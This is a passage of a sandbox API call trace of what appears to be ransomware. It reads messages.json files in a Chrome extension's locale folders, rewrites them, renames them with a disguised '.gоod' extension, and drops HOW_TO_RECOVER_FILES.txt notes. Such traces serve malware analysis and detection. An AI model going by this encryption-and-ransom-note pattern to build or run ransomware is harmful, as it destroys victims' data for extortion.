lpOldMode=0x1f6e77f0) returned 1 [0247.683] GetFileType (hFile=0x82c) returned 0x1 [0247.683] WriteFile (in: hFile=0x82c, lpBuffer=0x3979658*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3979658*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0247.683] CloseHandle (hObject=0x82c) returned 1 [0247.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0247.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpFilePart=0x0) returned 0x7b [0247.684] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5532ac3c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5533217d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5533217d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0247.684] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5532ac3c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5533217d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5533217d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.684] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5532fa64, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55332108, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.684] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.685] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0247.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0247.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0247.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0247.685] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpFilePart=0x0) returned 0x7b [0247.685] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5532ac3c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5533217d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5533217d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0247.685] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5532ac3c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5533217d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5533217d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.685] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5532fa64, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55332108, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.685] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5532fa64, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55332108, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0247.685] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0247.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0247.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0247.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0247.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0247.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3989628 | out: lpFileInformation=0x3989628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5532fa64, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55332108, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe4)) returned 1 [0247.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0247.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0247.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0247.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.686] GetFileType (hFile=0x82c) returned 0x1 [0247.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0247.686] GetFileType (hFile=0x82c) returned 0x1 [0247.686] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe4 [0247.686] ReadFile (in: hFile=0x82c, lpBuffer=0x3989ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3989ac8*, lpNumberOfBytesRead=0x1f6e7648*=0xe4, lpOverlapped=0x0) returned 1 [0247.687] CloseHandle (hObject=0x82c) returned 1 [0247.712] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0247.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0247.712] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.713] GetFileType (hFile=0x82c) returned 0x1 [0247.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0247.713] GetFileType (hFile=0x82c) returned 0x1 [0247.713] WriteFile (in: hFile=0x82c, lpBuffer=0x3a022a8*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3a022a8*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0247.716] CloseHandle (hObject=0x82c) returned 1 [0247.717] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0247.717] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0247.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0247.717] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5532fa64, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55332108, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8fdc3b43, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0247.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0247.717] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.gоod")) returned 1 [0247.718] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0247.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0247.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.718] GetFileType (hFile=0x82c) returned 0x1 [0247.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0247.718] GetFileType (hFile=0x82c) returned 0x1 [0247.767] WriteFile (in: hFile=0x82c, lpBuffer=0x36bb248*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x36bb248*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0247.767] CloseHandle (hObject=0x82c) returned 1 [0247.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0247.768] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpFilePart=0x0) returned 0x7b [0247.768] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5533e4cc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55340bdb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55340bdb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0247.768] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5533e4cc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55340bdb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55340bdb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.768] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55340bdb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55343278, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.768] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.769] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0247.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0247.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0247.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0247.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpFilePart=0x0) returned 0x7b [0247.769] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5533e4cc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55340bdb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55340bdb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0247.769] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5533e4cc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55340bdb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55340bdb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.769] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55340bdb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55343278, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0247.769] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55340bdb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55343278, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0247.769] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0247.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0247.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0247.770] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0247.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0247.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x36cb218 | out: lpFileInformation=0x36cb218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55340bdb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55343278, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1 [0247.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0247.770] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0247.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0247.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.770] GetFileType (hFile=0x82c) returned 0x1 [0247.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0247.770] GetFileType (hFile=0x82c) returned 0x1 [0247.770] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe9 [0247.770] ReadFile (in: hFile=0x82c, lpBuffer=0x36cb6c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x36cb6c0*, lpNumberOfBytesRead=0x1f6e7648*=0xe9, lpOverlapped=0x0) returned 1 [0247.771] CloseHandle (hObject=0x82c) returned 1 [0247.796] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0247.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0247.796] CreateFileW 